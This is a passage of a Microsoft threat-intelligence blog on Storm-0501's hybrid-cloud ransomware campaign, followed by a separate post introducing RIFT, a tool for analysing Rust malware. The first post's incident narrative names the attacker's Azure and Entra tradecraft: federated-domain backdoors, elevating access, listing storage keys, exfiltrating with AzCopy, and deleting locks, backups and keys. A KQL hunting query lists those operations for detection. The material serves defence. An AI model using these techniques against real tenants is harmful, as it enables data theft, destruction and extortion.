Shortly thereafter, the threat actor attempted to sign in as several privileged users. These attempts were unsuccessful, blocked by Conditional Access policies and multifactor authentication (MFA) requirements. This suggests that while Storm-0501 had valid credentials, they lacked the necessary second factor or were unable to satisfy policy conditions.

Undeterred, Storm-0501 shifted tactics. Leveraging their foothold in the Active Directory environment, they traversed between Active Directory domains and eventually moved laterally to compromise a second Entra Connect server associated with different Entra ID tenant and Active Directory domain. The threat actor extracted the Directory Synchronization Account to repeat the reconnaissance process, this time targeting identities and resources in the second tenant.

Identity escalation

As a result of the discovery phase where the threat actor leveraged on-premises control to pivot across Active Directory domains and vastly enumerate cloud resources, they gained critical visibility of the organization’s security posture. They then identified a non-human synced identity that was assigned with the Global Administrator role in Microsoft Entra ID on that tenant. Additionally, this account lacked any registered MFA method. This enabled the threat actor to reset the user’s on-premises password, which shortly after was then legitimately synced to the cloud identity of that user using the Entra Connect Sync service. We identified that that password change was conducted by the Entra Connect’s Directory Synchronization Account (DSA), since the Entra Connect Sync service was configured on the most common mode Password-Hash Synchronization (PHS). Consequently, the threat actor was able to authenticate against Entra ID as that user using the new password.

Since no MFA was registered to that user, after successfully authenticating using the newly assigned password, the threat actor was redirected to simply register a new MFA method under their control. From then on, the compromised user had a registered MFA method that enabled the threat actor to meet MFA conditions and comply with the customer’s Conditional Access policies configuration per resource.

To access the Azure portal using the compromised Global Admin account, the threat actor had to bypass one more condition that was enforced by Conditional Access policies for that resource, which require authentication to occur from a Microsoft Entra hybrid joined device. Hybrid joined devices are devices that are joined to both the Active Directory domain and Entra ID. We observed failed authentication attempts coming from company devices that are either domain-joined or Entra-joined devices that did not meet the Conditional Access condition. The threat actor had to move laterally between different devices in the network, until we observed a successful sign-in to the Azure portal with the Global Admin account coming from a server that was hybrid joined.

From the point that the threat actor was able to successfully meet the Conditional Access policies and sign in to the Azure portal as a Global Admin account, Storm-0501 essentially achieved full control over the cloud domain. The threat actor then utilized the highest possible cloud privileges to obtain their goals in the cloud.

Cloud identity compromise: Entra ID

Cloud persistence

Following successful authentication as a Global Admin to the tenant, Storm-0501 immediately established a persistence mechanism. As was seen in the threat actor’s previous activity, Storm-0501 created a backdoor using a maliciously added federated domain, enabling them to sign in as almost any user, according to the ImmutableId user property. The threat actor leveraged the Global Administrator Entra role privileges and the AADInternals tool to register a threat actor-owned Entra ID tenant as a trusted federated domain by the targeted tenant. To establish trust between the two tenants, a threat actor-generated root certificate is provided to the victim tenant, which in turn is used to allow authentication requests coming from the threat actor-owned tenant. The backdoor enabled Storm-0501 to craft security assertion markup language (SAML) tokens applicable to the victim tenant, impersonating users in the victim tenant while assuming the impersonated user’s Microsoft Entra roles.

Cloud compromise: Azure

Azure initial access and privilege escalation

A tenant’s Entra ID and Azure environments are intertwined. And since Storm-0501 gained top-level Entra ID privileges, they could proceed to their final goal, which was to use cloud-based ransomware tactics for monetary gain. To achieve this goal, they had to find the organization’s valuable data stores, and these were residing in the cloud: in Azure.

Because they had compromised a user with the Microsoft Entra Global Administrator role, the only operation they had to do to infiltrate the Azure environment was to elevate their access to Azure resources. They elevated their access to Azure resources by invoking the Microsoft.Authorization/elevateAccess/action operation. By doing so, they gained the User Access Administrator Azure role over all the organization’s Azure subscriptions, including all the valuable data residing inside them.

To freely operate within the environment, the threat actor assigned themselves the Owner Azure role over all the Azure subscriptions available by invoking the Microsoft.Authorization/roleAssignments/write operation.

Discovery

After taking control over the organization’s Azure environment, we assess that the threat actor initiated a comprehensive discovery phase using various techniques, including the usage of the AzureHound tool, where they attempted to locate the organization’s critical assets, including data stores that contained sensitive information, and data store resources that are meant to back up on-premises and cloud endpoint devices. The threat actor managed to map out the Azure environment, including the understanding of existing environment protections, such as Azure policies, resource locks, Azure Storage immutability policies, and more.

Defense evasion

The threat actor then targeted the organization’s Azure Storage accounts. Using the public access features in Azure Storage, Storm-0501 exposed non-remotely accessible accounts to the internet and to their own infrastructure, paving the way for data exfiltration phase. They did this by utilizing the public access features in Azure Storage. To modify the Azure Storage account resources, the threat actor abused the Azure Microsoft.Storage/storageAccounts/write operation.

Credential access

For Azure Storage accounts that have key access enabled, the threat actor abused their Azure Owner role to access and steal the access keys for them by abusing the Azure Microsoft.Storage/storageAccounts/listkeys/action operation.

Exfiltration

After exposing the Azure Storage accounts, the threat actor exfiltrated the data in these accounts to their own infrastructure by abusing the AzCopy Command-line tool (CLI).

Impact

In on-premises ransomware, the threat actor typically deploys malware that encrypts crucial files on as many endpoints as possible, then negotiates with the victim for the decryption key. In cloud-based ransomware attacks, cloud features and capabilities give the threat actor the capability to quickly exfiltrate and transmit large amounts of data from the victim environment to their own infrastructure, destroy the data and backup cloud resources in the victim cloud environment, and then demand the ransom.

After completing the exfiltration phase, Storm-0501 initiated the mass-deletion of the Azure resources containing the victim organization data, preventing the victim from taking remediation and mitigation action by restoring the data. They do so by abusing the following Azure operations against multiple Azure resource providers:

• Microsoft.Compute/snapshots/delete – Deletes Azure Snapshot, a read-only, point-in-time copy of an Azure VM’s disk (VHD), capturing its state and data at a specific moment, that exists independently from the source disk and can be used as a backup or clone of that disk.
• Microsoft.Compute/restorePointCollections/delete  – Deletes the Azure VM Restore Point, which stores virtual machines (VM) configuration and point-in-time application-consistent snapshots of all the managed disks attached to the VM.
• Microsoft.Storage/storageAccounts/delete – Deletes the Azure storage account, which contains and organization’s Azure Storage data objects: blobs, files, queues, and tables. In all of Storm-0501 Azure campaigns we investigated, this is where they mainly focused, deleting as many Azure Storage account resources as possible in the environment.
• Microsoft.RecoveryServices/Vaults/backupFabrics/protectionContainers/delete – Deletes an Azure recovery services vault protection container. A protection container is a logical grouping of resources (like VMs or workloads) that can be backed up together, within the Recovery Services vault.

During the threat actor’s attempts to mass-delete the data-stores/housing resources, they faced errors and failed to delete some of the resources due to the existing protections in the environment. These protections include Azure resource locks and Azure Storage immutability policies. They then attempted to delete these protections using the following operations:

• Microsoft.Authorization/locks/delete – Deletes Azure resource locks, which are used to prevent accidental user deletion and modification of Azure subscriptions, resource groups, or resources. The lock overrides any user permission.
• Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete – Deletes Azure storage immutability policies, which protect blob data from being overwritten or deleted.

After successfully deleting multiple Azure resource locks and Azure Storage immutability policies, the threat actor continued the mass deletion of the Azure data stores, successfully erasing resources in various Azure subscriptions. For resources that remained protected by immutability policies, the actor resorted to cloud-based encryption.

To perform cloud-based encryption, Storm-0501 created a new Azure Key Vault and a new Customer-managed key inside the Key Vault, which is meant to be used to encrypt the left Azure Storage accounts using the Azure Encryption scopes feature:

• Microsoft.KeyVault/vaults/write – Creates or modifies an existing Azure Key Vault. The threat actor creates a new Azure key vault to host the encryption key.
• Microsoft.Storage/storageAccounts/encryptionScopes/write – Creates or modifies Azure storage encryption scopes, which manage encryption with a key that is scoped to a container or an individual blob. When you define an encryption scope, you can specify whether the scope is protected with a Microsoft-managed key or with a customer-managed key that is stored in Azure Key Vault.

The threat actor abused the Azure Storage encryption scopes feature and encrypted the Storage blobs in the Azure Storage accounts. This wasn’t sufficient, as the organization could still access the data with the appropriate Azure permissions. In attempt to make the data inaccessible, the actor deletes the key that is used for the encryption. However, it’s important to note that Azure Key vaults and keys that are used for encryption purposes are protected by the Azure Key Vault soft-delete feature, with a default period of 90 days, which allows the user to retrieve the deleted key/vault from deletion, preventing cloud-based encryption for ransomware purposes.

After successfully exfiltrating and destroying the data within the Azure environment, the threat actor initiated the extortion phase, where they contacted the victims using Microsoft Teams using one of the previously compromised users, demanding ransom.

Mitigation and protection guidance

Microsoft recently implemented a change in Microsoft Entra ID that restricts permissions on the Directory Synchronization Accounts (DSA) role in Microsoft Entra Connect Sync and Microsoft Entra Cloud Sync. This change helps prevent threat actors from abusing Directory Synchronization Accounts in attacks to escalate privileges. Additionally, a new version released in May 2025 introduces modern authentication, allowing customers to configure application-based authentication for enhanced security (currently in public preview). It is also important to enable Trusted Platform Module (TPM) on the Entra Connect Sync server to securely store sensitive credentials and cryptographic keys, mitigating Storm-0501’s credential extraction techniques.

The techniques used by threat actors and described in this blog can be mitigated by adopting the following security measures:

Protecting on-premises

• Turn on tamper protection features to prevent threat actors from stopping security services such as Microsoft Defender for Endpoint, which can help prevent hybrid cloud environment attacks such as Microsoft Entra Connect abuse.
• Run endpoint detection and response (EDR) in block mode so that Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts detected post-breach.
• Turn on investigation and remediation in full automated mode to allow Defender for Endpoint to take immediate action on alerts to help remediate alerts, significantly reducing alert volume.

Protecting cloud identities

• Secure accounts with credential hygiene: practice the principle of least privilege and audit privileged account activity in your Microsoft Entra ID and Azure environments to slow or stop threat actors.
• Enable Conditional Access policies – Conditional Access policies are evaluated and enforced every time the user attempts to sign in. Organizations can protect themselves from attacks that leverage stolen credentials by enabling policies such as device compliance or trusted IP address requirements.
  • Set a Conditional Access policy to limit the access of Microsoft Entra ID Directory Synchronization Accounts (DSA) from untrusted IP addresses to all cloud apps.  Please refer to the advanced hunting section and check the relevant query to get those IP addresses.
  • For Entra Connect Sync servers using application-based authentication, use Conditional Access for workload identities to restrict the application’s service principal from similar unauthorized access.
• Ensure multifactor authentication (MFA) requirement for all users. Adding more authentication methods, such as the Microsoft Authenticator app or a phone number, increases the level of protection if one factor is compromised.
  • Ensure phishing-resistant multifactor authentication strength is required for Administrators.
  • Ensure Microsoft Azure overprovisioned identities should have only the necessary permissions.
• Ensure separate user accounts and mail forwarding for Global Administrator accounts. Global Administrator (and other privileged groups) accounts should be cloud-native accounts with no ties to on-premises Active Directory. See other best practices for using Privileged roles here.
• Ensure all existing privileged users have an already registered MFA method to protect against malicious MFA registrations
• Implement Conditional Access authentication strength to require phishing-resistant authentication for employees and external users for critical apps.
• Refer to Azure Identity Management and access control security best practices for further steps and recommendations to manage, design, and secure your Entra ID environment.
• Ensure Microsoft Defender for Cloud Apps connectors are turned on for your organization to receive alerts on the Microsoft Entra ID Directory Synchronization Account and all other users.
• Enable protection to prevent by-passing of cloud Microsoft Entra MFA when federated with Microsoft Entra ID. This enhances protection against federated domains attacks.
• Set the validatingDomains property of federatedTokenValidationPolicy to “all” to block attempts to sign-in to any non-federated domain (like .onmicrosoft.com) with SAML tokens.
• If only Microsoft Entra ID performs MFA for a federated domain, set federatedIdpMfaBehavior to rejectMfaByFederatedIdp to prevent bypassing MFA CAPs.
• Turn on Microsoft Entra ID protection to monitor identity-based risks and create risk-based Conditional Access policies to remediate risky sign-ins.

Protecting cloud resources

• Use solutions like Microsoft Defender for Cloud to protect your cloud resources and assets from malicious activity, both in posture management, and threat detection capabilities.
• Enable Microsoft Defender for Resource Manager as part of Defender for Cloud to automatically monitor the resource management operations in your organization. Defender for Resource Manager runs advanced security analytics to detect threats and alerts you about suspicious activity.
  • Enabling Defender for Resource Manager allows users to investigate Azure management operations within the Defender XDR, using the advanced hunting experience.
• Utilize the Azure Monitor activity log to investigate and monitor Azure management events.
• Utilize Azure policies for Azure Storage to prevent network and security misconfigurations and maximize the protection of business data stored in your storage accounts.
• Implement Azure Blog Storage security recommendations for enhanced data protection.
• Utilize the options available for data protection in Azure Storage.
• Enable immutable storage for Azure Blob Storage to protect from accidental or malicious modification or deletion of blobs or storage accounts.
• Apply Azure Resource Manager locks to protect from accidental or malicious modifications or deletions of storage accounts.
• Enable Azure Monitor for Azure Blob Storage to collect, aggregate, and log data to enable recreation of activity trails for investigation purposes when a security incident occurs or network is compromised.
• Enabled Microsoft Defender for Storage using a built-in Azure policy.
• After enabling Microsoft Defender for Storage as part of Defender for Cloud, utilize the CloudStorageAggregatedEvents (preview) table in advanced hunting to proactively hunt for storage malicious activity.
• Enable Azure blob backup to protect from accidental or malicious deletions of blobs or storage accounts.
• Apply the principle of least privilege when authorizing access to blob data in Azure Storage using Microsoft Entra and RBAC and configure fine-grained Azure Blob Storage access for sensitive data access through Azure ABAC.
• Use private endpoints for Azure Storage account access to disable public network access for increased security.
• Avoid using anonymous read access for blob data.
• Enable purge protection in Azure Key Vaults to prevent immediate, irreversible deletion of vaults and secrets. Use the default retention interval of 90 days.
• Enable logs in Azure Key Vault and retain them for up to a year to enable recreation of activity trails for investigation purposes when a security incident occurs or network is compromised.
• Enable Microsoft Azure Backup for virtual machines to protect the data on your Microsoft Azure virtual machines, and to create recovery points that are stored in geo-redundant recovery vaults.

General hygiene recommendations

• Utilize Microsoft Security Exposure Management, available in the Microsoft Defender portal, with capabilities such as critical asset protection and attack path analysis that enable security teams to proactively reduce exposure and mitigate the impact of Storm-0501 hybrid attack tactics. In this case, each of the critical assets involved – Entra Connect server, users with DCSync permissions, Global Administrators – can be identified by relevant alerts and recommendations.
• Investigate on-premises and hybrid Microsoft Security Exposure Management attack paths. Security teams can use attack path analysis to trace cross-domain threats that exploit the critical Entra Connect server to pivot into cloud workloads, escalate privileges, and expand their reach. Teams can use the ‘Chokepoint’ view in the attack path dashboard in Microsoft Security Exposure Management to highlight entities appearing in multiple paths.
• Utilize the Critical asset management capability in Microsoft Security Exposure Management by configuring your own custom queries to pinpoint your organization’s business-critical assets according to your needs, such as business-critical Azure Storage accounts.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Threat intelligence reports

Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender XDR threat analytics

• Actor Profile: Storm-0501
• Activity Profile: Ransomware actor Storm-0501 expands to hybrid cloud environments

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following query to find related activity in their networks:

Sign-in activity

Explore sign-in activity from IdentityLogonEvents, look for uncommon behavior, such as sign-ins from newly seen IP addresses or sign-ins to new applications that are non-sync related:

IdentityLogonEvents
| where Timestamp > ago(30d)
| where AccountDisplayName contains "On-Premises Directory Synchronization Service Account"
| extend ApplicationName = tostring(RawEventData.ApplicationName)
| project-reorder Timestamp, AccountDisplayName, AccountObjectId, IPAddress, ActionType, ApplicationName, OSPlatform, DeviceType

The activity of the sync account is typically repetitive, coming from the same IP address to the same application. Any deviation from the natural flow is worth investigating. Cloud applications that are usually accessed by the Microsoft Entra ID sync account are Microsoft Azure Active Directory Connect, Windows Azure Active Directory, and Microsoft Online Syndication Partner Portal.

Cloud activity

Explore the cloud activity (ActionType) of the sync account. Similar to sign-in activity, this account by nature performs a certain set of actions including update User., update Device., and so on. New and uncommon activity from this user might indicate an interactive use of the account, which could legitimate action from someone in the organization or malicious action by the threat actor.

CloudAppEvents
| where Timestamp > ago(30d)
| where AccountDisplayName has "On-Premises Directory Synchronization Service Account"
| extend Workload = RawEventData.Workload
| project-reorder Timestamp, IPAddress, AccountObjectId, ActionType, Application, Workload, DeviceType, OSPlatform, UserAgent, ISP

Pay close attention to action from different DeviceTypes or OSPlatforms, this account automated service is performed from one specific machine, so there shouldn’t be any variety in these fields.

Azure management events

Explore Azure management events by querying the new CloudAuditEvents table in advanced hunting in the Defender portal. The OperationName column indicates the type of control-plane event executed by the user.

let Storm0501Operations = dynamic([
//Microsoft.Authorization
"Microsoft.Authorization/elevateAccess/action",
"Microsoft.Authorization/roleAssignments/write",
"Microsoft.Authorization/locks/delete",
//Microsoft.Storage
"Microsoft.Storage/storageAccounts/write",
"Microsoft.Storage/storageAccounts/listkeys/action",
"Microsoft.Storage/storageAccounts/delete",
"Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete",
"Microsoft.Storage/storageAccounts/encryptionScopes/write",
//Microsoft.Compute
"Microsoft.Compute/snapshots/delete",
"Microsoft.Compute/restorePointCollections/delete",
//Microsoft.RecoveryServices
"Microsoft.RecoveryServices/Vaults/backupFabrics/protectionContainers/delete",
//Microsoft.KeyVault
"Microsoft.KeyVault/vaults/write"
]);
CloudAuditEvents
| where Timestamp > ago(30d)
| where AuditSource == "Azure" and DataSource == "Azure Logs"
| where OperationName in~ (Storm0501Operations)
| extend EventName = RawEventData.eventName
| extend UserId = RawEventData.principalOid, ApplicationId = RawEventData.applicationId
| extend Status = RawEventData.status, SubStatus = RawEventData.subStatus
| extend Claims = parse_json(tostring(RawEventData.claims))
| extend UPN = Claims["http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"]
| extend AuthMethods = Claims["http://schemas.microsoft.com/claims/authnmethodsreferences"]
| project-reorder ReportId, EventName, Timestamp, UPN, UserId, AuthMethods, IPAddress, OperationName, AzureResourceId, Status, SubStatus, ResourceId, Claims, ApplicationId

Exposure of resources and users

Explore Microsoft Security Exposure Management capabilities by querying the ExposureGraphNodes and ExposureGraphEdges tables in the advanced hunting in the Defender portal. By utilizing these tables, you can identify critical assets, including Azure Storage accounts that contain sensitive data or protected by an immutable storage policy. All predefined criticality rules can be found here: Predefined classifications

ExposureGraphNodes
| where NodeLabel =~ "microsoft.storage/storageaccounts"
// Criticality check
| extend CriticalityInfo = NodeProperties["rawData"]["criticalityLevel"]
| where isnotempty( CriticalityInfo)
| extend CriticalityLevel = CriticalityInfo["criticalityLevel"]
| extend CriticalityLevel = case(
            CriticalityLevel == 0, "Critical",
            CriticalityLevel == 1, "High",
            CriticalityLevel == 2, "Medium",
            CriticalityLevel == 3, "Low", "")
| extend CriticalityRules = CriticalityInfo["ruleNames"]
| extend StorageContainsSensitiveData = CriticalityRules has "Databases with Sensitive Data"
| extend ImmutableStorageLocked = CriticalityRules has "Immutable and Locked Azure Storage"
// Exposure check
| extend ExposureInfo = NodeProperties["rawData"]["exposedToInternet"]
| project-reorder NodeName, NodeId, CriticalityLevel, CriticalityRules, StorageContainsSensitiveData, ImmutableStorageLocked, ExposureInfo

The following query can identify critical users who are mainly assigned with privileged Microsoft Entra roles, including Global Administrator:

ExposureGraphNodes
| where NodeLabel =~ "user"
| extend UserId = NodeProperties["rawData"]["accountObjectId"]
| extend IsActive = NodeProperties["rawData"]["isActive"]
// Criticality check
| extend CriticalityInfo = NodeProperties["rawData"]["criticalityLevel"]
| where isnotempty(CriticalityInfo)
| extend CriticalityLevel = CriticalityInfo["criticalityLevel"]
| extend CriticalityLevel = case(
            CriticalityLevel == 0, "Critical",
            CriticalityLevel == 1, "High",
            CriticalityLevel == 2, "Medium",
            CriticalityLevel == 3, "Low", "")
| extend CriticalityRules = CriticalityInfo["ruleNames"]
| extend GlobalAdministrator = CriticalityRules has "Global Administrator"
| project-reorder NodeName, NodeId, UserId, IsActive, CriticalityLevel, CriticalityRules, GlobalAdministrator

Omri Refaeli, Karam Abu Hanna, and Alon Marom

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Storm-0501’s evolving techniques lead to cloud-based ransomware appeared first on Microsoft Security Blog.

One of the primary challenges in reverse engineering malware developed with Rust lies in its layers of abstraction added through features such as memory safety and concurrency handling, making it more challenging to identify the behavior and intent of the malware. Compared to traditional languages, Rust binaries are often larger and more complex due to the incorporation of extensive library code. Consequently, reverse engineers must undertake the demanding task of distinguishing attacker-written code from standard library code, necessitating advanced expertise and specialized tools.

To address these pressing challenges, Microsoft Threat Intelligence Center has developed RIFT. RIFT underscores the growing need for specialized tools as cyber threat actors continue to leverage Rust’s features to evade detection and complicate analysis. The adoption of Rust by threat actors is a stark reminder of the ever-changing tactics employed in the cyber domain, and the increasing sophistication required to combat these threats effectively. In this blog post, we explore how threat actors are increasingly adopting Rust for malware development due to its versatility and how RIFT can be used to combat this threat by enhancing the efficiency and accuracy of Rust-based malware analysis.

Threat actors continue adopting Rust

As Rust gains popularity as a rapidly growing programming language, its use by malware authors is becoming more noticeable. Over the past five years, Microsoft Threat Intelligence Center and the broader security industry have observed financially motivated and state-supported groups increasingly using Rust for malware development.

In 2021, the group behind the notorious BlackCat ransomware was among the first significant entities in the ransomware field to write their malicious programs in Rust. Following the appearance of the first malware families written in Rust, reverse engineers indicated that such malware presents a unique challenge for analysis.

Subsequently, several other groups began developing or rewriting their tools in the programming language. Nation-state threat actors have also selectively developed their malware in Rust.

Rust as a popular language for malware development

Rust is a versatile language known for its performance, type safety, concurrency, and memory safety. While these features benefit legitimate development, they also complicate static analysis of malicious files. The community has extensively addressed many of these challenges. One of the core issues in analyzing Rust binaries is differentiating between library code and code written by malware authors.

To illustrate the significance of this problem, Microsoft Threat Intelligence Center conducted a simple experiment. A small PE EXE file that downloads data from a website and saves it on disk as sample_data.txt is generated with Microsoft 365 Copilot. The program is first compiled in C++ and then in Rust. The C++ program is compiled using Microsoft Visual C++ (MSVC) with Visual Studio 2022, in release mode for the 64-bit architecture and dynamically linked, using default settings. The Rust binary is compiled using compiler version rustc 1.89.0-nightly (16d2276fa 2025-05-16), also in release mode and with default settings.

Next, both programs are loaded into IDA Pro, and a simple complexity analysis is performed by counting and comparing the number of disassembled and identified functions. Additionally, functions are categorized as annotated or not annotated. An annotated function is one that is automatically detected by IDA’s built-in signatures or algorithms. It should be noted that IDA has capabilities to enhance library recognition, but these were not used for this experiment.

While both programs implement similar functionalities, the total number of disassembled functions in the C++ program is lower than 100, while the Rust programs pack almost 10,000 functions. Furthermore, the size of the C++ program is lower than 20 KB, while the Rust program is larger than 3 MB.

Programs written in Rust are typically statically linked, embedding all dependencies directly into the executable. As a result, binaries are larger with a high volume of functions, requiring analysts to distinguish first between third-party library code and attacker-authored logic.

To address this key problem, Microsoft Threat Intelligence Center is releasing an internally developed tool: RIFT.

This open-source project is designed to help reverse engineers and analysts more efficiently identify attacker-authored logic within Rust-based malware.

From source code to binary

Before delving into the inner workings of RIFT, it is essential to have a fundamental understanding of how Rust binaries are compiled. As illustrated in the diagram above, Rust developers typically engage with three primary components and two endpoints:

• cargo – The package manager
• rustc – The Rust compiler
• rustup – The Rust update manager
• static.rust-lang.org – S3 bucket that hosts pre-compiled compilers and toolchains
• crates.io – Rust community’s crate registry

Once a developer has conceptualized what they intend to develop, a typical workflow may proceed as follows:

1. Using the cargo tool, the developer initializes a new projected named “test”.
2. They opt not to use the latest Rust compiler but a specific version. They execute rustup install 1.84.0-x86_64-pc-windows-msvc to install the desired compiler version and configure the project to use the installed compiler.
3. They determine that their project should communicate via HTTP and incorporate a third-party dependency. They run cargo add request to install the latest version of the third-party library, request.

Following these steps will result in a fully configured project. Upon completion, the developer may run cargo build to finalize the binary, compiling the project.

Static artifacts and where to find them

Reverse engineers are usually handed the final development product of the malware author, oftentimes without information such as the compiler used or third-party dependencies. While it is highly likely that malware authors use the same tools as reverse engineers for development, no insights into the exact environment are available.

However, understanding the development toolchain can assist in quickly distinguishing library code from author written logic. Fortunately, various indicators can be extracted that provide insights.

Rust compiler version

Rust binaries typically include metadata from the compiler that identifies the Rust version used to compile the binary. A config.toml file is provided alongside pre-compiled Rust compilers and toolchains. This configuration file contains the commit hash and the corresponding Rust compiler version of the pre-compiled product. By extracting the commit hash from the final binary output, it is possible to map the Git commit hash back to the appropriate Rust compiler version by parsing all available config.toml files from the official release channels.

Rust crates

As mentioned above, cargo is used to add dependencies to a project. Next to the Git commit hash, metadata extracted from Rust binaries also include the statically linked dependencies and their versions.

The above image shows how filtering for certain strings can display which dependencies were likely statically linked into RALord ransomware.

Introducing RIFT

RIFT is an open-source tool consisting of a set of IDA Pro (supporting versions >=9.0) plugins and Python scripts that aim to assist reverse engineers and other software analysts in annotating library code in Rust malware. It essentially consists of three components:

RIFT Static Analyzer: IDA Pro plugin to extract the Rust compiler commit hash and embedded dependencies from a binary.

RIFT Generator: A Python program to automate the process of Rust compiler identification, FLIRT signature generation of used Rust compiler and dependencies, as well as automation of binary diffing.

RIFT Diff Applier: IDA Pro plugin to consume binary diffing information generated by RIFT Generator.

Extracting static information with RIFT Static Analyzer

In the previous section, we listed which indicators can be extracted from Rust binaries that give insights into which Rust compiler and dependencies were used. RIFT Static Analyzer automates the extraction process and stores the information in a JSON file for further processing. Furthermore, the plugin also extracts the architecture the binary was compiled for and the target operating system. In the below image, the target operating system is labeled as target_triple.

RIFT Generator: Automating FLIRT signature generation and auto diffing

Information gathered and stored by RIFT Static Analyzer can then be further processed by RIFT Generator.

The Python program automates the process of compilation, data collection, FLIRT signature generation, and binary comparison.

It is essentially a wrapper around the following tools:

• Cargo (Rust package manager) to manage the downloading and compiling of dependencies
• Hexray’s FLAIR tools, specifically sigmake.exe and pcf.exe, to generate FLIRT signatures
• Hexray’s text interface version of IDA, idat.exe, to automate binary analysis and disassembly
• The open-source tool Diaphora to facilitate binary diffing

The above image provides an overview of the phases RIFT Generator processes through. RIFT Generator reads the JSON file produced by RIFT Static Analyzer and downloads the corresponding Rust compiler, as well as the dependencies.

It is worth noting that upon completion of phase 1, both the code of the downloaded compiler and compiled crates are compressed as COFF files into RLIB files. RLIB is essentially a Rust-specific archive format similar to TAR. Once decompressed in phase 2, the COFF files are extracted and further processed.

FLIRT signatures and binary diffing

To provide information necessary for annotating library code in Rust binaries accurately, RIFT uses two known techniques for pattern matching: FLIRT signatures and binary diffing.

FLIRT stands for Fast Library Identification and Recognition Technology and enables IDA to identify standard library functions produced by its supported compilers. A characteristic of this technology is that library recognition is very precise. Therefore, functions that have a high similarity may not be flagged by FLIRT signatures due to their strict criteria.

Additionally, RIFT automates the process of binary diffing the collected COFF files against the target binary by leveraging IDA’s command line utility (idat.exe) and the Diaphora plugin.

In general, both approaches have their own advantages and disadvantages, which are listed below.

Consuming binary diffing information

If the binary diffing approach is applied, a second IDA plugin called RIFT Diff Applier can be used to apply the diffing results. In contrast to FLIRT signatures, the RIFT Diff Applier offers analysts an interactive, semi-manual method for identifying library code. It operates in two modes:

1. Interactive mode
2. Auto rename mode

By default, symbol names in COFF files are mangled. Consequently, if RIFT Generator generates the binary diffing information and stores it in the JSON format, the symbol names are also mangled. To address this issue, enabling Name Demangling can assist in attempting to demangle these names. We are continuously improving the tool, and currently, rust-demangler is being used for this purpose.

For both modes, a minimum similarity ratio can be specified. Functions will only be displayed or renamed if they meet or exceed the specified similarity threshold. Once the user clicks “OK”, a new window will appear in IDA with the title RIFT. Users can now right click on a function name and display the top three matching functions with the highest similarity determined through binary diffing or use the CTRL+X shortcut.

Applying RIFT on RALord ransomware

Having introduced the functionalities of RIFT, we will now examine its practical application in analyzing RALord ransomware and how RIFT’s FLIRT signature generation can be used to immensely reduce time identifying library functions in RALord.

First, RIFT Static Analyzer is used to dump the extractable dependencies, Git commit hash of the Rust compiler, target architecture, and target operating system. Next, the information is fed into RIFT Generator.

Once RIFT Generator has finished generating FLIRT signatures, they can either be loaded one by one manually or by using our script shared in the RIFT GitHub repository named “ida_apply_flirt_from_folder.py”.

The image below compares parts of the main function before and after application of RIFT. After applying the FLIRT signatures generated from the extracted dependencies and Rust compiler, the majority of library and compiler code is identified in the main function. As a result, reverse engineers can focus solely on the threat actor code instead of spending time weeding out the library code.

Applying RIFT on SPICA

In some use cases, FLIRT signature application might not be enough, for example when conducting a deep dive. RIFT’s binary diffing approach can provide additional information to improve library code recognition in addition to FLIRT signatures.

Having demonstrated the effectiveness of RIFT in applying FLIRT signatures to streamline the analysis of RALord ransomware, we now turn our focus to applying the binary diffing approach on SPICA, a backdoor written in Rust. This transition highlights scenarios where FLIRT signatures alone might be insufficient, necessitating a deeper, complementary analysis.

Similar to before, RIFT Static Analyzer is used first and the extracted information is fed into RIFT Generator. However, this time, we apply FLIRT signature generation and binary diffing.

To use the binary diffing approach, Diaphora must be used first to generate the corresponding SQLite file. It is worth noting that depending on the size of the binary and extracted dependencies, the binary diffing procedure can take multiple hours.

Once done, RIFT Diff Applier can be used to load the binary diffing output file.

A benefit of this approach is that for certain functions where FLIRT signatures failed to properly label the library function due to its strictness, RIFT Diff Applier can provide useful and reliable information where the similarity is high. Furthermore, thinking about detection engineering, the approach can also help identify or filter out potential library functions, especially when writing signatures on code segments.

Afterwords: Open sourcing RIFT

Rust’s strong performance, safety-focused design, cross-compilation support, and concurrency features have led to its increased adoption by threat actors for developing complex malware. This growing shift towards Rust represents a yet another evolution in the threat landscape, enabling attackers to create malware that is not more resistant to detection and analysis.

For malware analysts, this trend introduces a daunting set of challenges. Rust’s innovative features often result in binaries that are harder to decompile and analyze, making reverse engineering a time-intensive process. Analysts are frequently left grappling with unfamiliar patterns and library-heavy outputs, which further complicate their efforts to dissect malware and develop detection methods.

To address these challenges, we are proud to announce the open sourcing of RIFT. Designed to help accelerate Rust malware analysis by assisting reverse engineers to recognize library code in Rust malware through FLIRT signatures and binary diffing, RIFT further reinforces global efforts to equip security professionals with proper tools to defend against threats. By making RIFT freely available to the cybersecurity community, we aim to foster collaboration and innovation in combating the rise of Rust-based malware. We would like to extend a special thanks to the author of the Diaphora project for their invaluable contribution to the reverse engineering community.

Microsoft’s ongoing research and development efforts, including the creation of tools like RIFT, underscore our commitment to protecting customers and securing the cyber landscape. By enhancing the efficiency and accuracy of malware analysis, we aim to keep pace with evolving threats and ensure the safety of users worldwide. This research highlights the critical need for advanced security measures to safeguard against such increasingly sophisticated cyber threats.

References

• https://github.com/microsoft/RIFT
